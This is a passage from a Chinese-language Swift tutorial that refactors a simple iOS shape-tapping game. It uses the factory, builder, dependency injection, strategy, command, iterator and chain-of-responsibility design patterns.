square2.sideLength >= square1.sideLength ? 1 : -1\n    self.beginNextTurn()\n}\n```\n\n在这里你把形状转换为 `SquareShape` 以便你可以访问它们的 `sideLength`，圆没有 `sideLength`，而是“直径”。\n\n解决方案是使用 **雇工** 设计模式，它通过一个通用接口为一组类（如形状类）提供分数计算等方法。在你现在的情况下，分数计算是雇工，形状类作为服务对象，并且 `area` 属性扮演公共接口的角色。\n\n打开 **Shape.swift** 并在 `Shape` 类的底部添加以下代码：\n\n```swift\nvar area: CGFloat { return 0 }\n```\n\n然后在 `SquareShape` 类的底部添加以下代码:\n\n```swift\noverride var area: CGFloat { return sideLength * sideLength }\n```\n\n现在你可以根据其面积来判断哪个形状更大。\n\n打开 **GameViewController.swift** 并把 `beginNextTurn` 替换成以下内容：\n\n```swift\nprivate func beginNextTurn() {\n    let shapes = shapeFactory.createShapes()\n\n    let shapeViews = shapeViewFactory.makeShapeViewsForShapes(shapes: shapes)\n\n    shapeViews.0.tapHandler = { tappedView in\n        // 1\n        self.gameView.score += shapes.0.area >= shapes.1.area ? 1 : -1\n        self.beginNextTurn()\n    }\n    shapeViews.1.tapHandler = { tappedView in\n        // 2\n        self.gameView.score += shapes.1.area >= shapes.0.area ? 1 : -1\n        self.beginNextTurn()\n    }\n\n    gameView.addShapeViews(newShapeViews: shapeViews)\n}\n```\n\n1. 根据形状区域确定较大的形状。\n\n2. 还是根据形状区域确定较大的形状。\n\n编译并运行，你应该看到类似下面的内容，虽然游戏看起来相同，但代码现在更灵活了。\n\n[![Screenshot6](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot6-180x320.png)](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot6.png)\n\n恭喜，你已经从游戏逻辑中完全解除了对正方形的依赖关系，如果你要创建和使用一些圆形的工厂，你的游戏将变得更加完善。\n\n[![ragecomic2](https://koenig-media.raywenderlich.com/uploads/2014/10/ragecomic2.png)](https://koenig-media.raywenderlich.com/uploads/2014/10/ragecomic2.png)\n\n## 利用抽象工厂实现游戏的多功能性\n\n“不要做一个古板的人！”在现实生活中可能是一种侮辱，你的游戏感觉它被装在一个形状中，它渴望更流畅的线条和更多的符合空气动力学的形状。\n\n你需要引入一些流畅的“善良的圆”，现在打开 **Shape.swift** 并在文件底部添加以下代码：\n\n```swift\nclass CircleShape: Shape {\n    var diameter: CGFloat!\n    override var area: CGFloat { return CGFloat.pi * diameter * diameter / 4.0 }\n}\n```\n\n你的圆只需要知道它可以计算自身面积的“直径”就可以支持 **雇工** 模式。\n\n接下来通过添加 `CircleShapeFactory` 来构建 `CircleShape` 对象。打开 **ShapeFactory.swift** 并在文件底部添加以下代码：\n\n```swift\nclass CircleShapeFactory: ShapeFactory {\n\tvar minProportion: CGFloat\n\tvar maxProportion: CGFloat\n\n\tinit(minProportion: CGFloat, maxProportion: CGFloat) {\n\t\tself.minProportion = minProportion\n\t\tself.maxProportion = maxProportion\n\t}\n\n\tfunc createShapes() -> (Shape, Shape) {\n\t\t// 1\n\t\tlet shape1 = CircleShape()\n\t\tshape1.diameter = Utils.randomBetweenLower(lower: minProportion, andUpper: maxProportion)\n\n\t\t// 2\n\t\tlet shape2 = CircleShape()\n\t\tshape2.diameter = Utils.randomBetweenLower(lower: minProportion, andUpper: maxProportion)\n\n\t\treturn (shape1, shape2)\n\t}\n}\n```\n\n这段代码遵循一个熟悉的模式：**第1部分** 和 **第2部分** 创建了一个 `CircleShape` 并为其指定一个随机的 `diameter`。\n\n你需要解决另一个问题，这样做可能会防止一个混乱的几何图形的革命。看吧，你现在拥有的是 “没有代表性的几何图形”，你知道当形状不足时，形状会变得多么干净哈！\n\n取悦你的玩家很容易，你需要的只是用 `CircleShapeView` 在屏幕上 **绘制** 你的新 `CircleShape` 对象。:\\]\n\n打开 `ShapeView.swift` 并在文件底部添加以下内容：\n\n```swift\nclass CircleShapeView: ShapeView {\n\toverride init(frame: CGRect) {\n\t\tsuper.init(frame: frame)\n\t\t// 1\n\t\tself.isOpaque = false\n\t\t// 2\n\t\tself.contentMode = UIView.ContentMode.redraw\n\t}\n\n\trequired init(coder aDecoder: NSCoder) {\n\t\tfatalError(\"init(coder:) has not been implemented\")\n\t}\n\n\toverride func draw(_ rect: CGRect) {\n\t\tsuper.draw(rect)\n\n\t\tif showFill {\n\t\t\tfillColor.setFill()\n\t\t\t// 3\n\t\t\tlet fillPath = UIBezierPath(ovalIn: self.bounds)\n\t\t\tfillPath.fill()\n\t\t}\n\n\t\tif showOutline {\n\t\t\toutlineColor.setStroke()\n\t\t\t// 4\n\t\t\tlet outlinePath = UIBezierPath(ovalIn: CGRect(\n\t\t\t\tx: halfLineWidth,\n\t\t\t\ty: halfLineWidth,\n\t\t\t\twidth: self.bounds.size.width - 2 * halfLineWidth,\n\t\t\t\theight: self.bounds.size.height - 2 * halfLineWidth))\n\t\t\toutlinePath.lineWidth = 2.0 * halfLineWidth\n\t\t\toutlinePath.stroke()\n\t\t}\n\t}\n}\n```\n\n对上述内容的解释依次为以下几个部分：\n\n1. 由于圆无法填充其 view 的 bounds，因此你需要告诉 **UIKit** 该 view 是透明的，这意味着能透过它看到背后的东西。如果你没有意识到这点，那么这个圆将会有一个丑陋的黑色背景。\n\n2. 由于视图是透明的，因此应在 bounds 更改时进行重绘。\n\n3. 画一个用 `fillColor` 填充的圆圈。稍后，你将创建 `CircleShapeViewFactory`，它会确保 `CircleView` 具有相等的宽度和高度，因此画出来的形状将是圆形而不是椭圆形。\n\n4. 给圆用 lineWidth 进行描边。\n\n现在你将在 `CircleShapeViewFactory` 中创建` CircleShapeView` 对象。\n\n打开 **ShapeViewFactory.swift** 并在文件的底部添加以下代码：\n\n```swift\nclass CircleShapeViewFactory: ShapeViewFactory {\n\tvar size: CGSize\n\n\tinit(size: CGSize) {\n\t\tself.size = size\n\t}\n\n\tfunc makeShapeViewsForShapes(shapes: (Shape, Shape)) -> (ShapeView, ShapeView) {\n\t\tlet circleShape1 = shapes.0 as! CircleShape\n\t\t// 1\n\t\tlet shapeView1 = CircleShapeView(frame: CGRect(\n\t\t\tx: 0,\n\t\t\ty: 0,\n\t\t\twidth: circleShape1.diameter * size.width,\n\t\t\theight: circleShape1.diameter * size.height))\n\t\tshapeView1.shape = circleShape1\n\n\t\tlet circleShape2 = shapes.1 as! CircleShape\n\t\t// 2\n\t\tlet shapeView2 = CircleShapeView(frame: CGRect(\n\t\t\tx: 0,\n\t\t\ty: 0,\n\t\t\twidth: circleShape2.diameter * size.width,\n\t\t\theight: circleShape2.diameter * size.height))\n\t\tshapeView2.shape = circleShape2\n\n\t\treturn (shapeView1, shapeView2)\n\t}\n}\n```\n\n这是将创建圆而不是正方形的工厂。**第1部分** 和 **第2部分** 使用传入的形状创建 `CircleShapeView` 实例。请注意你的代码是如何确保圆圈具有相同的宽度和高度，因此它们呈现为完美的圆形而不是椭圆形。\n\n最后，打开 **GameViewController.swift** 并替换 `viewDidLoad` 中对应的两行，用以下内容分配形状和视图工厂：\n\n```swift\nshapeViewFactory = CircleShapeViewFactory(size: gameView.sizeAvailableForShapes())\nshapeFactory = CircleShapeFactory(minProportion: 0.3, maxProportion: 0.8)\n```\n\n现在编译并运行项目，你应该看到类似下面的截图。\n\n[![Screenshot7](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot7-180x320.png)](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot7.png)\n瞧，你造出了圆形！\n\n请注意你是如何在 `GameViewController` 中添加新形状而不会对游戏逻辑产生太大影响的，抽象工厂和雇工设计模式使之成为可能。\n\n## 建造者模式\n\n现在是时候来看看第三种设计模式了：**建造者**。\n\n假设你想要改变 `ShapeView` 实例的外观 - 例如它们是否应显示，以及用什么颜色来填充和描边。 **建造者** 设计模式使这种对象的配置变得更加容易和灵活。\n\n解决此配置问题的一种方法是添加各种构造函数，可以使用诸如 `CircleShapeView.redFilledCircleWithBlueOutline()` 之类的类便利初始化方法，也可以添加具有各种参数和默认值的初始化方法。\n\n然而不幸的是，它不是一种可扩展的技术，因为你需要为每种组合编写新方法或初始化程序。\n\n建造者非常优雅地解决了这个问题，因为它创建了一个具有单一用途的类来配置已经初始化的对象。如果你将让建造者来构建红色的圆，然后再构建蓝色的圆，则无需更改 `CircleShapeView` 就可达到目的。\n\n创建一个新文件 **ShapeViewBuilder.swift** 并添加以下代码：\n\n```swift\nimport UIKit\n\nclass ShapeViewBuilder {\n\t// 1\n\tvar showFill  = true\n\tvar fillColor = UIColor.orange\n\n\t// 2\n\tvar showOutline  = true\n\tvar outlineColor = UIColor.gray\n\n\t// 3\n\tinit(shapeViewFactory: ShapeViewFactory) {\n\t\tself.shapeViewFactory = shapeViewFactory\n\t}\n\n\t// 4\n\tfunc buildShapeViewsForShapes(shapes: (Shape, Shape)) -> (ShapeView, ShapeView) {\n\t\tlet shapeViews = shapeViewFactory.makeShapeViewsForShapes(shapes: shapes)\n\t\tconfigureShapeView(shapeView: shapeViews.0)\n\t\tconfigureShapeView(shapeView: shapeViews.1)\n\t\treturn shapeViews\n\t}\n\n\t// 5\n\tprivate func configureShapeView(shapeView: ShapeView) {\n\t\tshapeView.showFill  = showFill\n\t\tshapeView.fillColor = fillColor\n\t\tshapeView.showOutline  = showOutline\n\t\tshapeView.outlineColor = outlineColor\n\t}\n\n\tprivate var shapeViewFactory: ShapeViewFactory\n}\n```\n\n以下是你的新的 `ShapeViewBuilder` 的工作原理：\n\n1. 存储配置 `ShapeView` 的填充属性。\n\n2. 存储配置 `ShapeView` 的描边属性。\n\n3. 初始化建造者来持有 `ShapeViewFactory` 从而构造 view。这意味着建造者并不需要知道它是来建造 `SquareShapeView` 还是 `CircleShapeView` 抑或是其他形状的 view。\n\n4. 这是公共 API，当有一对 `Shape` 时，它会创建并初始化一对 `ShapeView`。\n\n5. 根据建造者的存储了的配置来对 `ShapeView` 进行配置。\n\n现在来部署你新的 `ShapeViewBuilder`，打开 **GameViewController.swift**，在大括号结束之前将以下代码添加到类的底部：\n\n```swift\nprivate var shapeViewBuilder: ShapeViewBuilder!\n```\n\n现在在 `viewDidLoad` 里 `beginNextTurn` 调用的上方添加以下代码来填充新属性：\n\n```swift\nshapeViewBuilder = ShapeViewBuilder(shapeViewFactory: shapeViewFactory)\nshapeViewBuilder.fillColor = UIColor.brown\nshapeViewBuilder.outlineColor = UIColor.orange\n```\n\n最后用以下代码替换 `beginNextTurn` 中创建 `shapeViews` 的那一行：\n\n```swift\nlet shapeViews = shapeViewBuilder.buildShapeViewsForShapes(shapes: shapes)\n```\n\n编译并运行，你将看到以下内容：\n\n[![Screenshot8](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot8-180x320.png)](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot8.png)\n\n说实话我也觉得填充颜色很丑，但是先别吐槽，毕竟我们目前关注点不在于它是有多么好看。\n\n现在来强化建造者的力量。还是在 `GameViewController.swift` 里，将 `viewDidLoad` 对应的两行更改为使用方形工厂：\n\n```swift\nshapeViewFactory = SquareShapeViewFactory(size: gameView.sizeAvailableForShapes())\nshapeFactory = SquareShapeFactory(minProportion: 0.3, maxProportion: 0.8)\n```\n\n编译并运行，你将看到以下内容：\n\n[![Screenshot9](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot9-180x320.png)](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot9.png)\n\n注意建造者模式是如何使新的颜色方案来应用到正方形和圆形上的。没有它的话你需要在 `CircleShapeViewFactory` 和 `SquareShapeViewFactory` 中来单独设置颜色。\n\n此外，更改为另一种配色方案将涉及大量代码的修改。通过将 `ShapeView` 颜色配置限制为单个 `ShapeViewBuilder`，你还可以将颜色更改隔离到单个类。\n\n## 依赖注入模式\n\n每次点击一个形状，你都会进行一个回合，每回合的结果可以是得分或者减分。\n\n如果你的游戏可以自动跟踪所有回合，统计数据和得分，那会不会有帮助呢？\n\n创建一个名为 **Turn.swift** 的新文件，并使用以下代码替换其内容：\n\n```swift\nclass Turn {\n    // 1\n    let shapes: [Shape]\n    var matched: Bool?\n\n    init(shapes: [Shape]) {\n        self.shapes = shapes\n    }\n\n    // 2\n    func turnCompletedWithTappedShape(tappedShape: Shape) {\n        let maxArea = shapes.reduce(0) { $0 > $1.area ? $0 : $1.area }\n        matched = tappedShape.area >= maxArea\n    }\n}\n```\n\n你的新 `Turn` 类做了以下事情：\n\n1. 存储玩家每一回合看到的形状，以及是否点击了较大的形状。\n\n2. 在玩家点击形状后记录该回合已经结束。\n\n要控制玩家玩的回合顺序，请创建一个名为 **TurnController.swift** 的新文件，并使用以下代码替换其内容：\n\n```swift\nclass TurnController {\n    // 1\n    var currentTurn: Turn?\n    var pastTurns: [Turn] = [Turn]()\n\n    // 2\n    init(shapeFactory: ShapeFactory, shapeViewBuilder: ShapeViewBuilder) {\n        self.shapeFactory = shapeFactory\n        self.shapeViewBuilder = shapeViewBuilder\n    }\n\n    // 3\n    func beginNewTurn() -> (ShapeView, ShapeView) {\n        let shapes = shapeFactory.createShapes()\n        let shapeViews = shapeViewBuilder.buildShapeViewsForShapes(shapes: shapes)\n        currentTurn = Turn(shapes: [shapeViews.0.shape, shapeViews.1.shape])\n        return shapeViews\n    }\n\n    // 4\n    func endTurnWithTappedShape(tappedShape: Shape) -> Int {\n        currentTurn!.turnCompletedWithTappedShape(tappedShape: tappedShape)\n        pastTurns.append(currentTurn!)\n\n        let scoreIncrement = currentTurn!.matched! ? 1 : -1\n\n        return scoreIncrement\n    }\n\n    private let shapeFactory: ShapeFactory\n    private var shapeViewBuilder: ShapeViewBuilder\n}\n```\n\n你的 `TurnController` 工作原理如下：\n\n1. 存储当前和过去的回合。\n\n2. 接收一个 `ShapeFactory` 和一个 `ShapeViewBuilder`。\n\n3. 使用此工厂和建造者为每个新的回合创建形状和视图，并记录当前回合。\n\n4. 在玩家点击形状后记录回合结束，并根据该回合玩家点击的形状计算得分。\n\n现在打开 **GameViewController.swift**，并在底部大括号上方添加以下代码：\n\n```swift\nprivate var turnController: TurnController!\n```\n\n向上滚动到 `viewDidLoad`，在调用 `beginNewTurn` 这行之前，插入以下代码：\n\n```swift\nturnController = TurnController(shapeFactory: shapeFactory, shapeViewBuilder: shapeViewBuilder)\n```\n\n用以下代码替换 `beginNextTurn`：\n\n```swift\nprivate func beginNextTurn() {\n    // 1\n    let shapeViews = turnController.beginNewTurn()\n\n    shapeViews.0.tapHandler = { tappedView in\n        // 2\n        self.gameView.score += self.turnController.endTurnWithTappedShape(tappedShape: tappedView.shape)\n        self.beginNextTurn()\n    }\n\n    // 3\n    shapeViews.1.tapHandler = shapeViews.0.tapHandler\n\n    gameView.addShapeViews(newShapeViews: shapeViews)\n}\n```\n\n你的新代码的工作原理如下：\n\n1. 让 `TurnController` 开始一个新的回合并返回一个 `ShapeView` 元组用于回合。\n\n2. 当玩家点击 `ShapeView` 时，通知控制器回合结束，然后计算得分。请注意 `TurnController` 是如何把得分计算的过程抽象出来并进一步简化 `GameViewController`。\n\n3. 由于你移除了对特定形状的显式引用，因此第二个形状视图可以与第一个形状视图共享相同的 `tapHandler` 闭包。\n\n**依赖注入** 设计模式的一个实例应用是它将其依赖项传递给 `TurnController` 初始化器，初始化器的参数主要是要注入的形状和工厂的依赖项。\n\n由于 `TurnController` 没有假定使用哪种类型的工厂，因此你可以自由地在不同的工厂间进行交换。\n\n这不仅使你的游戏更加灵活，还让自动化测试变得更容易了。如果你想的话，它允许你向特殊的 `TestShapeFactory` 和 `TestShapeViewFactory` 类传递参数。这些可能是特殊的存根或模拟，可以使测试更容易、更可靠并且更快速。\n\nBuild and run and check that it looks like this:编译并运行，你会看到如下图：\n\n[![Screenshot10](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot10-180x320.png)](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot10.png)\n\n界面好像没什么变化，但是 `TurnController` 已经开放了你的代码，所以它可以使用更复杂的回合机制：根据回合计算得分然后在每一回合之间选择性的改变形状，甚至根据玩家的表现调整比赛难度。\n\n## 策略模式\n\n我现在特别高兴因为我在写这个教程时正在吃一块派，也许这就是为什么我们在游戏中要添加圆形了哈。:\\]\n\n你应该感到高兴，因为你在使用设计模式重构游戏代码方面做得很好，游戏因此变得很容易扩展和维护。\n\n[![ragecomic3](https://koenig-media.raywenderlich.com/uploads/2014/10/ragecomic3.png)](https://koenig-media.raywenderlich.com/uploads/2014/10/ragecomic3.png)\n\n说到派，呃，Pi，你要怎么把这些圆形放回游戏中呢？现在你的 `GameViewController` 可以使用 **圆或正方形**，但只能使用其中一个。并不一定都要限制的死死的。\n\n接下来你将使用 **策略** 模式来管理游戏里的形状。\n\n**策略** 设计模式允许你根据程序在运行时确定的内容来设计算法。在这种情况下，算法将选择向玩家呈现什么样的形状。\n\n你可以设计许多不同的算法：一种是随机选择形状，一种是挑选形状来给玩家一点挑战或者帮助他获胜更多，等等！**策略** 通过对每个策略必须实现的行为的抽象声明来定义一系列算法，这使得该族内的算法可以互换。\n\n如果你猜想你将会把策略作为一个 Swift `protocol` 来实现，那你就猜对了！\n\nCreate a new file named **TurnStrategy.swift**, and replace its contents with the following code:创建一个名为 **TurnStrategy.swift** 的新文件，并使用以下代码替换其内容：\n\n```swift\n// 1\nprotocol TurnStrategy {\n    func makeShapeViewsForNextTurnGivenPastTurns(pastTurns: [Turn]) -> (ShapeView, ShapeView)\n}\n\n// 2\nclass BasicTurnStrategy: TurnStrategy {\n    let shapeFactory: ShapeFactory\n    let shapeViewBuilder: ShapeViewBuilder\n\n    init(shapeFactory: ShapeFactory, shapeViewBuilder: ShapeViewBuilder) {\n        self.shapeFactory = shapeFactory\n        self.shapeViewBuilder = shapeViewBuilder\n    }\n\n    func makeShapeViewsForNextTurnGivenPastTurns(pastTurns: [Turn]) -> (ShapeView, ShapeView) {\n        return shapeViewBuilder.buildShapeViewsForShapes(shapes: shapeFactory.createShapes())\n    }\n}\n\nclass RandomTurnStrategy: TurnStrategy {\n    // 3\n    let firstStrategy: TurnStrategy\n    let secondStrategy: TurnStrategy\n\n    init(firstStrategy: TurnStrategy, secondStrategy: TurnStrategy) {\n        self.firstStrategy = firstStrategy\n        self.secondStrategy = secondStrategy\n    }\n\n    // 4\n    func makeShapeViewsForNextTurnGivenPastTurns(pastTurns: [Turn]) -> (ShapeView, ShapeView) {\n        if Utils.randomBetweenLower(lower: 0.0, andUpper: 100.0) < 50.0 {\n            return firstStrategy.makeShapeViewsForNextTurnGivenPastTurns(pastTurns: pastTurns)\n        } else {\n            return secondStrategy.makeShapeViewsForNextTurnGivenPastTurns(pastTurns: pastTurns)\n        }\n    }\n}\n```\n\n以下是你的新的 `TurnStrategy` 进行的操作：\n\n1. 这是在一个协议中定义的一个抽象方法，该方法获取游戏中上一个回合的数组，并返回形状视图来显示下一回合。\n\n2. 实现一个使用 `ShapeFactory` 和 `ShapeViewBuilder` 的基本策略，此策略实现了现有行为，其中形状视图与以前一样来自单个工厂和建造者。请注意你在此处再次使用 **依赖注入**，这意味着此策略不关心它使用的是哪一个工厂或建造者。\n\n3. 随机使用其他两种策略之一来实施随机策略。你在这里使用了组合，因此 `RandomTurnStrategy` 可以表现得像两个可能不同的策略。但是由于它是一个 `策略`，所以任何使用 `RandomTurnStrategy` 的代码都隐藏了该组合。\n\n4. 这是随机策略的核心。它以 50％ 的概率随机选择第一种或第二种策略。\n\n现在你需要使用你的策略。打开 **TurnController.swift** 并用以下内容替换：\n\n```swift\n\nclass TurnController {\n    var currentTurn: Turn?\n    var pastTurns: [Turn] = [Turn]()\n\n    // 1\n    init(turnStrategy: TurnStrategy) {\n        self.turnStrategy = turnStrategy\n    }\n\n    func beginNewTurn() -> (ShapeView, ShapeView) {\n        // 2\n        let shapeViews = turnStrategy.makeShapeViewsForNextTurnGivenPastTurns(pastTurns: pastTurns)\n        currentTurn = Turn(shapes: [shapeViews.0.shape, shapeViews.1.shape])\n        return shapeViews\n    }\n\n    func endTurnWithTappedShape(tappedShape: Shape) -> Int {\n        currentTurn!.turnCompletedWithTappedShape(tappedShape: tappedShape)\n        pastTurns.append(currentTurn!)\n\n        let scoreIncrement = currentTurn!.matched! ? 1 : -1\n\n        return scoreIncrement\n    }\n\n    private let turnStrategy: TurnStrategy\n}\n```\n\n以下是详细步骤：\n\n1. 接收传递的策略并将其存储在 `TurnController` 实例中。\n\n2. 使用策略生成 `ShapeView` 对象，以便玩家可以开始新的回合。\n\n> **注意：** 这将会导致 **GameViewController.swift** 中出现语法错误。但是别担心，这只是暂时的，你将在下一步中修复错误。\n\n使用 **策略** 设计模式的最后一步是调整你的 `GameViewController` 从而来使用你的 `TurnStrategy`。\n\n打开 **GameViewController.swift** 并用以下内容替换：\n\n```swift\nimport UIKit\n\nclass GameViewController: UIViewController {\n\n    override func viewDidLoad() {\n        super.viewDidLoad()\n\n        // 1\n        let squareShapeViewFactory = SquareShapeViewFactory(size: gameView.sizeAvailableForShapes())\n        let squareShapeFactory = SquareShapeFactory(minProportion: 0.3, maxProportion: 0.8)\n        let squareShapeViewBuilder = shapeViewBuilderForFactory(shapeViewFactory: squareShapeViewFactory)\n        let squareTurnStrategy = BasicTurnStrategy(shapeFactory: squareShapeFactory, shapeViewBuilder: squareShapeViewBuilder)\n\n        // 2\n        let circleShapeViewFactory = CircleShapeViewFactory(size: gameView.sizeAvailableForShapes())\n        let circleShapeFactory = CircleShapeFactory(minProportion: 0.3, maxProportion: 0.8)\n        let circleShapeViewBuilder = shapeViewBuilderForFactory(shapeViewFactory: circleShapeViewFactory)\n        let circleTurnStrategy = BasicTurnStrategy(shapeFactory: circleShapeFactory, shapeViewBuilder: circleShapeViewBuilder)\n\n        // 3\n        let randomTurnStrategy = RandomTurnStrategy(firstStrategy: squareTurnStrategy, secondStrategy: circleTurnStrategy)\n\n        // 4\n        turnController = TurnController(turnStrategy: randomTurnStrategy)\n\n        beginNextTurn()\n    }\n\n    override var prefersStatusBarHidden: Bool {\n        return true\n    }\n\n    private func shapeViewBuilderForFactory(shapeViewFactory: ShapeViewFactory) -> ShapeViewBuilder {\n        let shapeViewBuilder = ShapeViewBuilder(shapeViewFactory: shapeViewFactory)\n        shapeViewBuilder.fillColor = UIColor.brown\n        shapeViewBuilder.outlineColor = UIColor.orange\n        return shapeViewBuilder\n    }\n\n    private func beginNextTurn() {\n        let shapeViews = turnController.beginNewTurn()\n\n        shapeViews.0.tapHandler = { tappedView in\n            self.gameView.score += self.turnController.endTurnWithTappedShape(tappedShape: tappedView.shape)\n            self.beginNextTurn()\n        }\n        shapeViews.1.tapHandler = shapeViews.0.tapHandler\n\n        gameView.addShapeViews(newShapeViews: shapeViews)\n    }\n\n    private var gameView: GameView { return view as! GameView }\n    private var turnController: TurnController!\n}\n```\n\n你修改后的 `GameViewController` 使用 `TurnStrategy` 的详细步骤如下：\n\n1. 创建一个策略来创建正方形。\n\n2. 创建一个策略来创建圆形。\n\n3. 创建策略来随机选择是使用正方形还是圆形策略。\n\n4. 创建回合控制器来使用随机策略。\n\n编译并运行，然后玩五到六轮，你应该看到类似于以下的内容。\n\n[![Screenshot111213**Animatedv2](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot111213_Animatedv2.gif)](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot111213_Animatedv2.gif)\n\n请注意你的游戏是如何在正方形和圆形之间随机交替的。此时你可以轻松地添加第三个形状来，如三角形或平行四边形，你的 `GameViewController` 可以通过切换策略来使用它。\n\n## 责任链，命令和迭代器模式\n\n考虑一下本教程开头的示例：\n\n```swift\nvar collection = ...\n\n// for 循环使用迭代器设计模式\nfor item in collection {\n    print(\"Item is: \\(item)\")\n}\n```\n\n是什么使得 `for item in collection` 这个循环工作的呢？答案是 Swift 的 `SequenceType`。\n\n通过在 `for ... in` 循环中使用 **迭代器** 模式，你可以迭代任何遵循 `SequenceType` 协议的类型。\n\n内置的集合类型 `Array` 和 `Dictionary` 是遵循 `SequenceType` 的，因此除非你要编写自己的集合，否则通常不需要考虑 `SequenceType` 。不过我仍然很高兴了解这个模式。:\\]\n\n你经常看到的与 **迭代器** 结合使用的另一种设计模式是 **命令** 模式，它会捕获在被询问时在目标上调用特定行为的概念。\n\n在本教程中你将使用 **命令** 来确定一个 `回合` 的胜负并计算游戏的分数。\n\n创建一个名为 **Scorer.swift** 的新文件，并使用以下代码替换：\n\n```swift\n// 1\nprotocol Scorer {\n    func computeScoreIncrement<S>(_ pastTurnsReversed: S) -> Int where S : Sequence, Turn == S.Iterator.Element\n}\n\n// 2\nclass MatchScorer: Scorer {\n    func computeScoreIncrement<S>(_ pastTurnsReversed: S) -> Int where S : Sequence, S.Element == Turn {\n        var scoreIncrement: Int?\n        // 3\n        for turn in pastTurnsReversed {\n            if scoreIncrement == nil {\n                // 4\n                scoreIncrement = turn.matched! ? 1 : -1\n                break\n            }\n        }\n\n        return scoreIncrement ?? 0\n    }\n}\n```\n\n依次来看看每一步：\n\n1. 定义你的 **命令** 类型并声明它的行为让它接收一个你可以用 **迭代器** 来迭代的过去所有回合的集合。\n\n2. 一个 `Scorer` 的具体实现，根据它们是否获胜来计算得分。\n\n3. 使用 **迭代器** 迭代过去的回合。\n\n4. 将获胜回合的得分计为 +1，输掉的回合得分为 -1。\n\n现在打开 **TurnController.swift** 并在类的最底部添加以下代码：\n\n```swift\nprivate var scorer: Scorer\n```\n\n然后将以下代码添加到初始化器 `init(turnStrategy:)` 的末尾：\n\n```swift\nself.scorer = MatchScorer()\n```\n\nFinally, replace the line in `endTurnWithTappedShape` that declares and sets `scoreIncrement` with the following:最后把 `endTurnWithTappedShape` 里 `scoreIncrement` 的声明替换为：\n\n```swift\nlet scoreIncrement = scorer.computeScoreIncrement(pastTurns.reversed())\n```\n\n注意你将在计算得分之前反转 `pastTurns`，因为计算得分的顺序和回合进行的顺序相反，而 `pastTurns` 存储着最开始的回合，换句话说就是我们将在数组的最后 append 最新的回合。\n\n编译并运行项目，你注意到一些奇怪的事了吗？我打赌你的得分因某种原因没有改变。\n\n你需要使用 **责任链** 模式来改变你的得分。\n\n**责任链** 模式会捕获跨一组数据​​调度多个命令的概念。在本练习中，你将发送不同的 `Scorer` 命令来以多种附加方式计算你的玩家得分。\n\n例如你不仅会为比赛的胜负加或减一分，而且还会为连续比赛的连胜获得奖励分。**责任链** 允许你以不会打断现有记分员的方式添加第二个 `Scorer` 的实现。\n\n打开 **Scorer.swift** 并在 `MatchScorer` 里的最上方添加以下代码：\n\n```swift\nvar nextScorer: Scorer? = nil\n```\n\n然后在 `Scorer` 协议的最后添加:\n\n```swift\nvar nextScorer: Scorer? { get set }\n```\n\n现在 `MatchScorer` 和其他所有的 `Scorer` 都表明它们通过 `nextScorer` 属性实现了 **责任链** 模式。\n\n在 `computeScoreIncrement` 里用以下代码替换 `return` 语句:\n\n```swift\nreturn (scoreIncrement ?? 0) + (nextScorer?.computeScoreIncrement(pastTurnsReversed) ?? 0)\n```\n\n现在你可以在 `MatchScorer` 之后向链中添加另一个 `Scorer` 并将其得分自动添加到 `MatchScorer` 计算的分数中。\n\n> **注意：**`??` 运算符是 Swift 的 **合并空值运算符**。如果可选值非 nil 则将其值展开，如果可选值为 nil 则返回 ?? 后的另一个值。实际上 `a ?? b` 与 `a != nil ? a! : b` 一样。这是一个很好的速记，我们鼓励你在你的代码中使用它。\n\n要来演示这一点，请打开 **Scorer.swift** 并将以下代码添加到文件末尾：\n\n```swift\nclass StreakScorer: Scorer {\n    var nextScorer: Scorer? = nil\n\n    func computeScoreIncrement<S>(_ pastTurnsReversed: S) -> Int where S : Sequence, S.Element == Turn {\n        // 1\n        var streakLength = 0\n        for turn in pastTurnsReversed {\n            if turn.matched! {\n                // 2\n                streakLength += 1\n            } else {\n                // 3\n                break\n            }\n        }\n\n        // 4\n        let streakBonus = streakLength >= 5 ? 10 : 0\n        return streakBonus + (nextScorer?.computeScoreIncrement(pastTurnsReversed) ?? 0)\n    }\n}\n```\n\n你漂亮的新的 `StreakScorer` 工作原理如下：\n\n1. 连续获胜的次数。\n\n2. 如果该回合获胜，则连续次数加一。\n\n3. 如果该回合输了，则连续获胜次数清零。\n\n4. 计算连胜奖励，连胜 5 场或更多场奖励 10 分！\n\n要完成 **责任链** 模式，打开 **TurnController.swift** 并将以下行添加到初始化器 `init(turnStrategy:)` 的末尾：\n\n```swift\nself.scorer.nextScorer = StreakScorer()\n```\n\n很好，现在你正在使用 **责任链**。\n\n编译并运行，在前五个回合都获胜的情况下，你应该看到如下截图。\n\n[![ScreenshotStreakAnimated](https://koenig-media.raywenderlich.com/uploads/2014/10/ScreenshotStreakAnimated.gif)](https://koenig-media.raywenderlich.com/uploads/2014/10/ScreenshotStreakAnimated.gif)\n\n请注意分数是如何从 5 一下子变成 16 的，因为连胜五局，计算奖励分 10 分和第六局获得的 1 分所以一共是 16 分。\n\n## 接下来该干嘛？\n\n这里是本次教程的 [最终项目](http://iweslie.com/code/SwiftDesignPatterns.zip)。\n\n你玩了一个有趣的游戏 **Tap the Larger Shape** 并使用设计模式来添加更多的形状以及增强其样式，你还使用了设计模式来更精确地计算得分。\n\n最值得注意的是，即使最终项目具有更多功能，其代码实际上比你开始时更简单且更易于维护。\n\n为什么不使用这些设计模式进来一步扩展你的游戏呢？可以尝试一下下面的想法。\n\n**添加更多形状，如三角形、平行四边形、星形等**\n提示：回想一下如何添加圆形，并按照类似的步骤顺序添加新形状。如果你想出一些非常酷的形状，你也可以自己尝试一下！\n\n**添加分数变化时的动画**\n提示：在 `GameView.score` 上使用 `didSet`。\n\n**添加控件来让玩家选择游戏使用的形状类型**\n提示：在 `GameView` 中添加三个 `UIButton` 或一个带有 Square、Circle 和 Mixed 三个选项的 